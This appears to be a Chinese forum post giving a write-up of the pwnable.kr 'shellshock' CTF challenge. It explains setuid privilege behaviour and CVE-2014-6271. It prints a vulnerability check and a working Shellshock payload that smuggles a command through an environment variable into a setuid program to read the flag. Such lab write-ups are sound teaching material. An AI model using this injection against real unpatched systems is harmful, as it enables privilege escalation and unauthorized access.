-
-
[分享]pwnable.kr shellshock day8
-
2021-1-9 20:34
8433
-
[分享]pwnable.kr shellshock day8
题目
题目暗示使用 bash 的一个漏洞
解题过程
1. 查看文件列表
flag 文件只对创建者 root 和 shellshock_pwn 可读,对我们的登录用户 shellshock 不可读。shellshock 文件对有所有用户都开放读和执行权限,而且权限里面有 s,因此普通用户在执行这个文件时会被赋予 root 权限。
2. 查看 shellshock.c
1 2 3 4 5 6 7 | int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system( "/home/shellshock/bash -c 'echo shock_me'" );
return 0 ;
}
|
基础知识
有效的组识别码用来决定进程执行时组的权限。
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
参数依次是下面三个用户/组标识符:
- Real user ID and real group ID. 这些 ID 决定谁是进程的所有者
- Effective user ID and effective group ID. 这些 ID 决定进程在访问共享资源时的权限。
- Saved set-user-ID and saved set-group-ID. 这些 ID 用于 set-user-ID 和 set-group-ID 程序中,以保存执行程序时设置的相应有效 ID 的副本。set-user-ID 程序可以通过在其 real user ID 和 saved set-user-ID 中的值之间来回切换其 effective user ID 来获取和删除特权。
源码相对简单,setresuid(getegid(), getegid(), getegid()); 和 setresgid(getegid(), getegid(), getegid()); 是将进程的 real user ID,real group ID,effective user ID,effective group ID, saved set-user-ID,saved set-group-ID 都设置为执行目前进程有效组识别码。所以我们刚开始启动程序时,我们对程序的权限与 other 相同,即 r+x,在执行 setresuid() 和 setresgid() 后我们对程序的权限与 shock_pwn 相同,即 r+s,所以此时我们用于对 flag 文件的读权限。下一步是想办法执行 cat ./flag
3. 寻找 bash 漏洞
查看 bash 版本
题目暗示会用到 bash 的漏洞,所以先查看源代码中使用的 bash 版本号
./bash --version
获得 bash 版本号为 4.2.25
查找对应 bash 版本的漏洞
直接搜索 bash 4.2.25 漏洞,发现 CVE-2014-6271 符合我们的要求,而且漏洞名称就是 Shellshock,与题目名称相同。
查看漏洞原理
首先因为 bash 中的自定义函数,只需要函数名就能够调用该函数,如:
1 2 3 4 5 6 | $foo() {echo Hello}
$foo
>Hello
|
所以我们可以构造检测的payload
环境变量:
- KEY=foo
- VALUE=() { :;};echo Hello
产生此错误的主要原因在于在输入的过滤中没有严格限制边界,也没有判断参数是否合法。
验证漏洞是否存在
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' ./bash -c "echo test""
输出了 Vulnerable CVE-2014-6271 所以漏洞存在
4. pwn
env x='() { :;}; bash -c "cat ./flag "' ./shellshock
记得加上 bash -c 否则会报错 /home/shellshock/bash: cat: No such file or directory
红框内为 flag
参考文献
- https://www.antiy.com/response/CVE-2014-6271.html
- https://blog.csdn.net/pygain/article/details/53969081
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-1-10 13:49
被cease2e编辑
,原因: